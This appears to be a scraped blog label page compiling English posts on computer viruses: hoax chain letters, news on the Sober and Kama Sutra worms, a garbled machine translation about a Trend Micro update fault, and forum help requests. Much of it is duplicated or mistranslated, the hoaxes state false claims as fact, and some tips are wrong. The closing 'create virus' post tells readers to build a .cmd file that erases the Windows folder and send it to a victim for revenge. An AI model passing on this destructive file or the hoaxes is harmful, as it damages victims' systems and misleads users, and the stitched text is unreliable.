Watch out MSN users! There is a new virus... Maybe its old... But once it get into your computer, it automatically sends a copy of the virus to all your contacts via MSN messenger... I almost got hit by one, but norton stopped it! There are many different names it is hiding under... My friend's computer sent me "The cat and the fan" It sented another copy to my other friend... She got "The frog and the fish" There are many combinations... So be careful!
Sorry to double post, but I found yet another one... "Mona Lisa wants her smile back" Its another virus!
------------------
No problem - merged
m^e
Tampilkan postingan dengan label virus - english version. Tampilkan semua postingan
Tampilkan postingan dengan label virus - english version. Tampilkan semua postingan
Minggu, 06 Juli 2008
A Very Bad Virus - by CNN
A new virus has just been discovered that has been classified by
Microsoft as the most destructive ever
This virus was discovered yesterday afternoon by McAfee and
no vaccine has yet ! been developed.
This virus simply destroys Sector Zero from the hard disk,
where vital information for its functioning are stored.
This virus acts in the following manner:
It sends itself automatically to all contacts on your list with the title
"A Card for You".
As soon as the supposed virtual card is opened the
computer
freezes
so that the user has to reboot.
When the ctrl+alt+del keys or the reset button are pressed,
the virus destroys Sector Zero, thus permanently destroying the
hard
disk.
Yesterday in just a few hours this virus caused panic in New York,
according to news broadcast by CNN.
This alert was received by an employee of Microsoft itself.
So don't open any mails with subject: "A Virtual Card for You."
As soon as
you get the mail, delete it!!
Even if you know the sender !!!
Microsoft as the most destructive ever
This virus was discovered yesterday afternoon by McAfee and
no vaccine has yet ! been developed.
This virus simply destroys Sector Zero from the hard disk,
where vital information for its functioning are stored.
This virus acts in the following manner:
It sends itself automatically to all contacts on your list with the title
"A Card for You".
As soon as the supposed virtual card is opened the
computer
freezes
so that the user has to reboot.
When the ctrl+alt+del keys or the reset button are pressed,
the virus destroys Sector Zero, thus permanently destroying the
hard
disk.
Yesterday in just a few hours this virus caused panic in New York,
according to news broadcast by CNN.
This alert was received by an employee of Microsoft itself.
So don't open any mails with subject: "A Virtual Card for You."
As soon as
you get the mail, delete it!!
Even if you know the sender !!!
Trend Micron Virus-update Creates Massive Problems
An imperfection of update for softwares antivirus of the company of Trend security Micron caused the slowness or interruption in the operations of some computers around of the world, confirmed the company in this Monday (25/04). For return of 2h of this monday in Tokyo, the Trend Micron had received about 311,9 a thousand telephonic calls users in Japan declaring that its PCs had been afectados for a deficient filing-cabinet with information on virus and plagues. The filing-cabinet of data was placed online between 7h30 and 9h02 (hourly Japanese) of Saturday (23/04). A problem in the archive 2,594,00 OPR - Official Pattern Release - created a canal that sucked all or almost all the energy of a PC for the data processing. The company that uses Windows XP Service Pack 2 (SP2), of the Microsoft, and OfficeScan software had been afectadas, of the Trend, and also domestic users with the SP2 and software PC-cillin InterNet Security 2005 Virus Buster. "the problem was caused by our proper laboratories of virus in Manila [ Phillipino ] during the checagem process, when part of the test was not executed", the spokesman of the Trend Naomi Ikenomoto declared. The defective filing-cabinet was substituted to 10h51, schedule of Japan. Version 2.596.00 of the OPR will finish automatically with the problem in the PCs that to make download, according to company. The majority of the afectados computers is located in Japan, even so the Trend has received some reports from problems in Australia, Middle East and Europe. Customers of the United States had also had problems. The Trend Micron still is to evaluate will become an announcement on measures that goes to apply to compensate the afected users.
New Sober Virus
The Trend Micron launched alert on the appearance of a new version of the celebrity virus Sober, arriving of this form at the variant S and that already it received the classification from being as a threat of average risk. This plague, is to spread quickly in Germany and the United States, and dissimulates to be an official message of the FIFA on the championship of World to carry through in 2006 in Germany. The contaminated email arrives at the user with an annexed malicious filing-cabinet where it is promised as being carrying of information on the Championship of the World and for such the user will have that to supply to a name of user and password that supposedly he would have to come in the attached filing-cabinet. After the execution of the filing-cabinet, the Sober.S is installed in the machine and exactly creates copies of itself in diverse folders of the system, besides searching the record in search of email addresses to continue its terrivel propagation. The Trend Micron recommends thus that all the users do not open strange messages e, above of everything, keeps softwares always actualizados antiviruses. To enhance the fact of virus Sober.S to only attack the operative systems Windows, of the Microsoft.
Virus Alert (hoax)
Recently a new virus was discovered that was classified by MICROSOFT www.microsoft.com and by MCAFEE www.mcafee.com to be the most damaging of all time! This virus was discovered by MCAFEE and still there is no development of a vaccine!
This virus simply writes zeros on the hard drive, where the vital information for the operation of the PC is kept. The virus activates in the following manner:
1. By email it is received with the title 'A VIRTUAL CARD FOR YOU', when opening the message, it sends itself to all in the address list soon...
2. It hangs the machine, forcing the user to reboot the system.
3. AT the moment in which the keys ctrl+alt+del or the RESET button is pressed, it writes zeros to the hard drive making it unusable forever.
By the previous information, please, take precaution with the use of electronic mail and, of course, if you receive an email which you do not know the origin of, simply delete it without opening.
Please, send this message to the most people possible!!!!
In a few hours yesterday, this virus caused panic in New York, according to CNN www.cnn.com.
whatch out !
This virus simply writes zeros on the hard drive, where the vital information for the operation of the PC is kept. The virus activates in the following manner:
1. By email it is received with the title 'A VIRTUAL CARD FOR YOU', when opening the message, it sends itself to all in the address list soon...
2. It hangs the machine, forcing the user to reboot the system.
3. AT the moment in which the keys ctrl+alt+del or the RESET button is pressed, it writes zeros to the hard drive making it unusable forever.
By the previous information, please, take precaution with the use of electronic mail and, of course, if you receive an email which you do not know the origin of, simply delete it without opening.
Please, send this message to the most people possible!!!!
In a few hours yesterday, this virus caused panic in New York, according to CNN www.cnn.com.
whatch out !
Aim Virus Messing Around With My C:\windows Folder
Okay, so I was talking to my friend on IM yesterday and then she sends me a message saying OMFG LOOK AT HER or something like that and then a link. I stupidly opened it and then two seconds later she IMs me telling me not to cause it seems to be a virus. Usually I don't accept those kind of things but it was from her so I let my guard down. Apparently she had got it from another one of her friends.
It's a .pif virus I know that much but it doesn't do much, I can still open AIM and my task manager with no weird things but when I reboot my computer, my C:\WINDOWS folder pops up at the startup for no reason at all. Then when I x out of the window, I can't find that system folder anymore but according to Norton and Spybot, the folder isn't missing. I rebooted again and saw nothing really missing but I don't know. Anything to do with that folder makes me paranoid. Help me please?
It's a .pif virus I know that much but it doesn't do much, I can still open AIM and my task manager with no weird things but when I reboot my computer, my C:\WINDOWS folder pops up at the startup for no reason at all. Then when I x out of the window, I can't find that system folder anymore but according to Norton and Spybot, the folder isn't missing. I rebooted again and saw nothing really missing but I don't know. Anything to do with that folder makes me paranoid. Help me please?
Ranking Virus
According to TrendMicro NETSKY was the most affective virus of June
here the ranking
1. Worm_Netsky.P
2. HTML_Netsky.P
3. Java_Bytever.A
4. Worm_Sober.S
5. TSPY_Small.SN
6. SPYM_Gator
7. SPYM_Dashbar.300
8. Troj_Dyfuca.I
9. Worm_Netsky.D
10. SPYW_Websearch.A
here the ranking
1. Worm_Netsky.P
2. HTML_Netsky.P
3. Java_Bytever.A
4. Worm_Sober.S
5. TSPY_Small.SN
6. SPYM_Gator
7. SPYM_Dashbar.300
8. Troj_Dyfuca.I
9. Worm_Netsky.D
10. SPYW_Websearch.A
Music Video Web Site W/ Virus
| [FONT=Arial] If you are looking to put a music video in your MySpace or what ever you choose avoid using the site www.musicfeet.com This web site gives you a Trojan virus each time you access this site. So if you have a good virus scan and firewall dont go there |
How To Know If You Have A Virus Or Trojan/spyware
How to know if you have a virus or trojan or spyware in xp open task manager by presing ctrl+alt+del an close all applacations now look at your cpu usage if it is above 4-5% you have a problem. 
Microsoft in an e-mail Tuesday warned users to update their antivirus protections against the Kama Sutra worm, the mass-mailing virus slated to begin
The latest Sober virus (known as W32.Sober.X@mm, Sober.Y and W32/Sober@MM!M681) has passed its January deadline for updates without incident.
The Sober virus and its variants have been one of the most prolific of 2005 and has topped the charts again in recent months. In early December, anti-virus vendors cracked the algorithm the virus uses to search for updates, allowing the next set of Web sites to be blocked and Web hosting companies to be notified. The virus was set to search for updates from thirty unique websites, fifteen each on January 5th and January 6th.
This week Sober has plummeted in virus rankings and has effectively ceased to spread, thanks to the combined effort by anti-virus firms and security professionals worldwide. Existing infections will continue to search for updates; ISPs are advised to watch traffic patterns and notify customers they are still infected.
In an unusually positive twist, the Sober virus was responsible for catching a 20-year-old child-porn predator in Germany. However the virus was also responsible for Nazi-like hate spam earlier in the year.
The Sober virus and its variants have been one of the most prolific of 2005 and has topped the charts again in recent months. In early December, anti-virus vendors cracked the algorithm the virus uses to search for updates, allowing the next set of Web sites to be blocked and Web hosting companies to be notified. The virus was set to search for updates from thirty unique websites, fifteen each on January 5th and January 6th.
This week Sober has plummeted in virus rankings and has effectively ceased to spread, thanks to the combined effort by anti-virus firms and security professionals worldwide. Existing infections will continue to search for updates; ISPs are advised to watch traffic patterns and notify customers they are still infected.
In an unusually positive twist, the Sober virus was responsible for catching a 20-year-old child-porn predator in Germany. However the virus was also responsible for Nazi-like hate spam earlier in the year.
Beware of the 'Kama Sutra' Virus:
Microsoft in an e-mail Tuesday warned users to update their antivirus protections against the Kama Sutra worm, the mass-mailing virus slated to begin corrupting files later this week.
In its advisory for the Kama Sutra worm, otherwise known as win32/Mywife.E@mm and Nyxem.E, Microsoft warns users to be wary of opening unknown attachments.
The worm, which infects a user's computer once an attachment is opened, may also spread over writeable network shares if there are blank administrator passwords. Users hit with the worm may find a number of their files permanently corrupted on the third day of every month, beginning this Friday.
Like other worms, the Kama Sutra virus attempts to disable security software that is loaded on users systems, Microsoft warns.
Microsoft is advising users to update their antivirus software, as well as remain cautious when opening unknown attachments and use strong password protection.
Security experts estimate the worm has infected at least 500,000 PCs, often using pornography as its enticement.
Source: http://zdnet.com.au/news/security/soa/Micr...39236008,00.htm
In its advisory for the Kama Sutra worm, otherwise known as win32/Mywife.E@mm and Nyxem.E, Microsoft warns users to be wary of opening unknown attachments.
The worm, which infects a user's computer once an attachment is opened, may also spread over writeable network shares if there are blank administrator passwords. Users hit with the worm may find a number of their files permanently corrupted on the third day of every month, beginning this Friday.
Like other worms, the Kama Sutra virus attempts to disable security software that is loaded on users systems, Microsoft warns.
Microsoft is advising users to update their antivirus software, as well as remain cautious when opening unknown attachments and use strong password protection.
Security experts estimate the worm has infected at least 500,000 PCs, often using pornography as its enticement.
Source: http://zdnet.com.au/news/security/soa/Micr...39236008,00.htm
Feb Virus Warning! - Feb Virus Warning!!!
There were a couple of Virus warnings released by Major Anti Virus manufacturers regarding the outbreak of Two (or are they the same??) worms.
One is the Black Worm and other is the 'Kama Sutra' virus.......
It has been observed that the Black Worm also known as W32.Vb.i or W32.Nayem.E has been actively spreading in India since last two weeks now. It’s a mass-mailing worm that also spread using remote shares. After a long gap there has been an outbreak kind of situation as this worm was successful in spreading all over the globe within few hours when it first appeared over the Internet. The reason why the worm was so successful in spreading all over is just because it spreads by creating a mime encoded compressed executable with a different extension (.HQX, .BHX), which didn’t had any kind of header to classify the file. As a result the mail gateway scanners were not able to decode the attachment and scan the infected files. This is why the worm got skipped even though the mail severs have updated anti-virus scan engines. Many of the leading AntiVirus software’s had to do some changes to their scan engine to make the scanners decode the file and scan for the infected attachment
This worm has a dangerous payload, it will delete all the documents, worksheets, presentations, database files and compressed backup files from the system on every 3rd day of the month. This is very serious payload considering that the worm has spread all over India and the first payload day of 3rd February is arriving very soon. We recommend all our users to have their AntiVirus updated, up and running
Source: http://www.efytimes.com/fullnews.asp?edid=9930&magid=14
One is the Black Worm and other is the 'Kama Sutra' virus.......
It has been observed that the Black Worm also known as W32.Vb.i or W32.Nayem.E has been actively spreading in India since last two weeks now. It’s a mass-mailing worm that also spread using remote shares. After a long gap there has been an outbreak kind of situation as this worm was successful in spreading all over the globe within few hours when it first appeared over the Internet. The reason why the worm was so successful in spreading all over is just because it spreads by creating a mime encoded compressed executable with a different extension (.HQX, .BHX), which didn’t had any kind of header to classify the file. As a result the mail gateway scanners were not able to decode the attachment and scan the infected files. This is why the worm got skipped even though the mail severs have updated anti-virus scan engines. Many of the leading AntiVirus software’s had to do some changes to their scan engine to make the scanners decode the file and scan for the infected attachment
This worm has a dangerous payload, it will delete all the documents, worksheets, presentations, database files and compressed backup files from the system on every 3rd day of the month. This is very serious payload considering that the worm has spread all over India and the first payload day of 3rd February is arriving very soon. We recommend all our users to have their AntiVirus updated, up and running
Source: http://www.efytimes.com/fullnews.asp?edid=9930&magid=14
Virus For Mac Arrives!
The first virus for Macs has appeared on the scene. Known as Leap - A, it is a low level threat, but almost certainly the harbinger of future threats.
For years, Mac users have claimed the o/s to be safe and secure, with no virus problems, even 'tho the reason for that was simply because of the small amount of users, not the difficulty of creating a virus for the o/s.
Now, as with Firefox, as the number of users grows, so the creators of virus , malware etc will begin to target the Mac.
For years, Mac users have claimed the o/s to be safe and secure, with no virus problems, even 'tho the reason for that was simply because of the small amount of users, not the difficulty of creating a virus for the o/s.
Now, as with Firefox, as the number of users grows, so the creators of virus , malware etc will begin to target the Mac.
Quick Virus Question
I've always have run a tight ship so I very rarely get a virus, but I've got a client who has somehow managed to get some sort of mailer Trojan horse on their computer HOWEVER, Norton Antivirus has the virus isolated and ready for removal.
From the instruction sheet (I'm assuming they got it from Symantec), they updated Norton and did a full system scan.
The virus shouldn't do anything since Norton has it quaritined, correct?
Now, it may have injected values into the Registry (which is why they want me to do it as they don't know what the registry is, let alone know how to access it and delete values from it). I don't think this will be a problem since I can read the Symantec technical data sheets so the registry is not a problem.
Working on Linux a lot makes me glad I don't have to deal with viruses... man, Windows sucks...
From the instruction sheet (I'm assuming they got it from Symantec), they updated Norton and did a full system scan.
The virus shouldn't do anything since Norton has it quaritined, correct?
Now, it may have injected values into the Registry (which is why they want me to do it as they don't know what the registry is, let alone know how to access it and delete values from it). I don't think this will be a problem since I can read the Symantec technical data sheets so the registry is not a problem.
Working on Linux a lot makes me glad I don't have to deal with viruses... man, Windows sucks...
Lol MS Excel Is/Was A Virus
Thanks to a McAfee update the users was warned by them that Microsoft Excel is a Virus. Last Mars, 10 2006 Microsoft Excel was pointed as W95/CTX Virus. This mistake happened because an error accoured with the new definitions sent to users. McAfee solved the problem a few hours later, thanks to the complains sent by a large group of McAfee Clients. LOL, I thinks is Funny , LOL |
MSN "Thank You For Using" And Sharing - AN MSN virus ?
MSN now opens a window where wee see things happening :
It starts a frame with with the words Virus - (1513 kB)
Then it says "scanning C disk"
Then "installing"
Then "propagating"
Then it ends with "Thank you for usin' and sharin'"
What is that thing ?
Is it a fake ?
Or is it a ral virus ? I must confess I'm a little bit afraid.
A goggling made me find a german site saying roughly "probably a fake". However, even if it's a fake, it behaves like a trojan because it's a program residing on your computer and activated evrytime you open a new window.
If somebody has info, I would appreciate.
Regards
Yordan
It starts a frame with with the words Virus - (1513 kB)
Then it says "scanning C disk"
Then "installing"
Then "propagating"
Then it ends with "Thank you for usin' and sharin'"
What is that thing ?
Is it a fake ?
Or is it a ral virus ? I must confess I'm a little bit afraid.
A goggling made me find a german site saying roughly "probably a fake". However, even if it's a fake, it behaves like a trojan because it's a program residing on your computer and activated evrytime you open a new window.
If somebody has info, I would appreciate.
Regards
Yordan
New Virus? Uglyhuman Msn Virus - A worm that isn't in the virus definitions yet?
Have you ever gotten a message from your friends that say something like this:
its you on this photo http://uglyhuman.net/photo***.php
I have received that from at least 3 people. Without knowing what it was (and the surprise from the domain name with the message
), I clicked on the link and Firefox prompted me to download a file. It was a COM file so I thought that was strange. I rechecked the URL it was a PHP web page, so I assumed it was telling me to download the photo, so I opened it in Firefox.
Windows Live OneCare prompted me that Windows Live Messenger was about to run (with something that said updated program or something similar). I found that strange so therefore I clicked on Block this Program.
So after my next reboot, Windows Live OneCare said that it still blocked Windows Live Messenger. I assumed it was now safe to run Windows Live Messenger now, so I clicked the option to allow, closed Windows Live OneCare and opened Windows Live Messenger. Boy was I wrong! The virus started opening up windows of both online and offline people and started sending that message to them. It opened and closed windows so much that it was impossible to use ALT+TAB, ALT+F4 or even bring up Task Manager.
I unplugged the cable from my Internet modem and Windows Live Messenger disconnected. I quit the program then looked on Firefox to see if there was any instructions to remove this. The only results that come up were;
Yahoo! Answers - Weird Virus (no one got the answer there)
TechGuy Forums - Security (it was suggested to use HijackThis, but it didn't help)
So the virus isn't even in the definitions yet but it is spreading among buddies quite quickly. For the domain name, uglyhuman.net, McAfee SiteAdvisor has no rating for it. It would definitely be red for sure.
The virus isn't a running process, I couldn't find it in Task Manager or Process Log. However (not sure if the virus caused this), my explorer.exe process ended abruptly and had to restart a few times. Now I am stuck in Ubuntu (Linux) on a Live CD and OpenOffice.org really slowly (I need Microsoft Word). Anyone have suggestions to get rid of the virus? It isn't a running/startup process, it operates within Windows Live Messenger. Do I need to reinstall Windows XP?
its you on this photo http://uglyhuman.net/photo***.php
I have received that from at least 3 people. Without knowing what it was (and the surprise from the domain name with the message
), I clicked on the link and Firefox prompted me to download a file. It was a COM file so I thought that was strange. I rechecked the URL it was a PHP web page, so I assumed it was telling me to download the photo, so I opened it in Firefox.Windows Live OneCare prompted me that Windows Live Messenger was about to run (with something that said updated program or something similar). I found that strange so therefore I clicked on Block this Program.
So after my next reboot, Windows Live OneCare said that it still blocked Windows Live Messenger. I assumed it was now safe to run Windows Live Messenger now, so I clicked the option to allow, closed Windows Live OneCare and opened Windows Live Messenger. Boy was I wrong! The virus started opening up windows of both online and offline people and started sending that message to them. It opened and closed windows so much that it was impossible to use ALT+TAB, ALT+F4 or even bring up Task Manager.
I unplugged the cable from my Internet modem and Windows Live Messenger disconnected. I quit the program then looked on Firefox to see if there was any instructions to remove this. The only results that come up were;
Yahoo! Answers - Weird Virus (no one got the answer there)
TechGuy Forums - Security (it was suggested to use HijackThis, but it didn't help)
So the virus isn't even in the definitions yet but it is spreading among buddies quite quickly. For the domain name, uglyhuman.net, McAfee SiteAdvisor has no rating for it. It would definitely be red for sure.
The virus isn't a running process, I couldn't find it in Task Manager or Process Log. However (not sure if the virus caused this), my explorer.exe process ended abruptly and had to restart a few times. Now I am stuck in Ubuntu (Linux) on a Live CD and OpenOffice.org really slowly (I need Microsoft Word). Anyone have suggestions to get rid of the virus? It isn't a running/startup process, it operates within Windows Live Messenger. Do I need to reinstall Windows XP?
Some Weird Virus
A couple of weeks ago I was sent a file over AIM (Instant Messaging Service). Stupidly enough, though I didn't know the person I accepted and opened the file. I didn't think there was anything malicious about it since my Virus Program scanned it and nothing was found. So I opened it and a message soon appeared saying "Your trial of Obsidium is over." I have no idea what Obsidium is and I never installed it, so I simply closed the warning box and forgot about it. However, the next time I booted up the machine I tried to login and the computer hesitated, the same Obsidium message came up and another message appeared in the top right corner appeared which said Systeminfo32 (I think that was the name of it) was trying to update itself. I pressed CTRL ALT Delete since my system was now at a halt, with only the two boxes appearing to make progress. Under Processes in Windows Task Manager I saw a program I could not recognized called "system32:systeminfo2.exe". I closed it immediately and I was able to proceed and everything was fine. However, now this occurrence happens every time I start up my computer. I searched for "system32:systeminfo2.exe" on Google and I was unable to find any good information. Can some one help me out. I have even tried using MSCONFIG to disable the EXE on the startup, but it just comes back every start up. I even tried using Hijack this, which is like MSCONFIG, but has more you can disable such as Browser Add-ons and such, but I had no luck. This is a pesky little virus, and though I have no information whether it is eating away at my System's internals, it could be. I tried to find "system32:systeminfo2.exe" so I could delete it, but even running a search left me unable to trace it. Any advice or help on this subject, so I can successfully remove this problem. Also, what kind of virus scanner would you guys recommend.
create virus :: Very Easy But Very Dangerous Virus
The only thing you need is Notepad .
Now, to test it, create a textfile called TEST.txt(empty) in C:\
Now in your notepad type "erase C:\TEST.txt" (without the quotes).
Then do "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone. Now, the real work begins:
Go to notepad and type erase C:\WINDOWS (or C:\LINUX if you have linux) and save it again as findoutaname.cmd. Now DON'T run the file or you'll lose your WINDOWS map. So, that's the virus. Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX map is gone. And have to install LINUX/WINDOWS again.
Now, to test it, create a textfile called TEST.txt(empty) in C:\
Now in your notepad type "erase C:\TEST.txt" (without the quotes).
Then do "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone. Now, the real work begins:
Go to notepad and type erase C:\WINDOWS (or C:\LINUX if you have linux) and save it again as findoutaname.cmd. Now DON'T run the file or you'll lose your WINDOWS map. So, that's the virus. Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX map is gone. And have to install LINUX/WINDOWS again.
Langganan:
Postingan (Atom)
